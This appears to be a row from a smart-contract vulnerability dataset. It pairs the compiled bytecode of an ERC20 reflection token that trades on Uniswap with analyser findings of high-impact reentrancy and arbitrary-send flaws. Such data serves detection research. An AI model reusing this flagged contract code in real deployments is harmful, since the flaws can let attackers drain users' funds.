05091939550919395565b600061252183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125389190613177565b90508381101561257d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257490612f21565b60405180910390fd5b8091505092915050565b600061259161217a565b905060006125a8828461208890919063ffffffff16565b90506125fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612659826006546124df90919063ffffffff16565b6006819055506126748160075461252990919063ffffffff16565b6007819055505050565b6000806000806126aa606461269c888a61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126d460646126c6888b61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126fd826126ef858c6124df90919063ffffffff16565b6124df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272d858961208890919063ffffffff16565b90506000612744868961208890919063ffffffff16565b9050600061275b878961208890919063ffffffff16565b905060006127848261277685876124df90919063ffffffff16565b6124df90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127b06127ab846130f6565b6130d1565b905080838252602082019050828560208602820111156127d3576127d2613461565b5b60005b8581101561280357816127e9888261280d565b8452602084019350602083019250506001810190506127d6565b5050509392505050565b60008135905061281c81613777565b92915050565b60008151905061283181613777565b92915050565b600082601f83011261284c5761284b61345c565b5b813561285c84826020860161279d565b91505092915050565b6000813590506128748161378e565b92915050565b6000815190506128898161378e565b92915050565b60008135905061289e816137a5565b92915050565b6000815190506128b3816137a5565b92915050565b6000602082840312156128cf576128ce61346b565b5b60006128dd8482850161280d565b91505092915050565b6000602082840312156128fc576128fb61346b565b5b600061290a84828501612822565b91505092915050565b6000806040838503121561292a5761292961346b565b5b60006129388582860161280d565b92505060206129498582860161280d565b9150509250929050565b60008060006060848603121561296c5761296b61346b565b5b600061297a8682870161280d565b935050602061298b8682870161280d565b925050604061299c8682870161288f565b9150509250925092565b600080604083850312156129bd576129bc61346b565b5b60006129cb8582860161280d565b92505060206129dc8582860161288f565b9150509250929050565b6000602082840312156129fc576129fb61346b565b5b600082013567ffffffffffffffff811115612a1a57612a19613466565b5b612a2684828501612837565b91505092915050565b600060208284031215612a4557612a4461346b565b5b6000612a5384828501612865565b91505092915050565b600060208284031215612a7257612a7161346b565b5b6000612a808482850161287a565b91505092915050565b600060208284031215612a9f57612a9e61346b565b5b6000612aad8482850161288f565b91505092915050565b600080600060608486031215612acf57612ace61346b565b5b6000612add868287016128a4565b9350506020612aee868287016128a4565b9250506040612aff868287016128a4565b9150509250925092565b6000612b158383612b21565b60208301905092915050565b612b2a8161328c565b82525050565b612b398161328c565b82525050565b6000612b4a82613132565b612b548185613155565b9350612b5f83613122565b8060005b83811015612b90578151612b778882612b09565b9750612b8283613148565b925050600181019050612b63565b5085935050505092915050565b612ba68161329e565b82525050565b612bb5816132e1565b82525050565b6000612bc68261313d565b612bd08185613166565b9350612be08185602086016132f3565b612be981613470565b840191505092915050565b6000612c01602383613166565b9150612c0c82613481565b604082019050919050565b6000612c24602a83613166565b9150612c2f826134d0565b604082019050919050565b6000612c47602283613166565b9150612c528261351f565b604082019050919050565b6000612c6a601b83613166565b9150612c758261356e565b602082019050919050565b6000612c8d601d83613166565b9150612c9882613597565b602082019050919050565b6000612cb0602183613166565b9150612cbb826135c0565b604082019050919050565b6000612cd3602083613166565b9150612cde8261360f565b602082019050919050565b6000612cf6602983613166565b9150612d0182613638565b604082019050919050565b6000612d19602583613166565b9150612d2482613687565b604082019050919050565b6000612d3c602483613166565b9150612d47826136d6565b604082019050919050565b6000612d5f601783613166565b9150612d6a82613725565b602082019050919050565b6000612d82601183613166565b9150612d8d8261374e565b602082019050919050565b612da1816132ca565b82525050565b612db0816132d4565b82525050565b6000602082019050612dcb6000830184612b30565b92915050565b6000604082019050612de66000830185612b30565b612df36020830184612b30565b9392505050565b6000604082019050612e0f6000830185612b30565b612e1c6020830184612d98565b9392505050565b600060c082019050612e386000830189612b30565b612e456020830188612d98565b612e526040830187612bac565b612e5f6060830186612bac565b612e6c6080830185612b30565b612e7960a0830184612d98565b979650505050505050565b6000602082019050612e996000830184612b9d565b92915050565b60006020820190508181036000830152612eb98184612bbb565b905092915050565b60006020820190508181036000830152612eda81612bf4565b9050919050565b60006020820190508181036000830152612efa81612c17565b9050919050565b60006020820190508181036000830152612f1a81612c3a565b9050919050565b60006020820190508181036000830152612f3a81612c5d565b9050919050565b60006020820190508181036000830152612f5a81612c80565b9050919050565b60006020820190508181036000830152612f7a81612ca3565b9050919050565b60006020820190508181036000830152612f9a81612cc6565b9050919050565b60006020820190508181036000830152612fba81612ce9565b9050919050565b60006020820190508181036000830152612fda81612d0c565b9050919050565b60006020820190508181036000830152612ffa81612d2f565b9050919050565b6000602082019050818103600083015261301a81612d52565b9050919050565b6000602082019050818103600083015261303a81612d75565b9050919050565b60006020820190506130566000830184612d98565b92915050565b600060a0820190506130716000830188612d98565b61307e6020830187612bac565b81810360408301526130908186612b3f565b905061309f6060830185612b30565b6130ac6080830184612d98565b9695505050505050565b60006020820190506130cb6000830184612da7565b92915050565b60006130db6130ec565b90506130e78282613326565b919050565b6000604051905090565b600067ffffffffffffffff8211156131115761311061342d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613182826132ca565b915061318d836132ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c2576131c16133a0565b5b828201905092915050565b60006131d8826132ca565b91506131e3836132ca565b9250826131f3576131f26133cf565b5b828204905092915050565b6000613209826132ca565b9150613214836132ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324d5761324c6133a0565b5b828202905092915050565b6000613263826132ca565b915061326e836132ca565b925082821015613281576132806133a0565b5b828203905092915050565b6000613297826132aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ec826132ca565b9050919050565b60005b838110156133115780820151818401526020810190506132f6565b83811115613320576000848401525b50505050565b61332f82613470565b810181811067ffffffffffffffff8211171561334e5761334d61342d565b5b80604052505050565b6000613362826132ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613395576133946133a0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137808161328c565b811461378b57600080fd5b50565b6137978161329e565b81146137a257600080fd5b50565b6137ae816132ca565b81146137b957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a290ef05771e2d25a0789a8cbb4c8832433af7fd0d9642cf697f365fc94596b64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.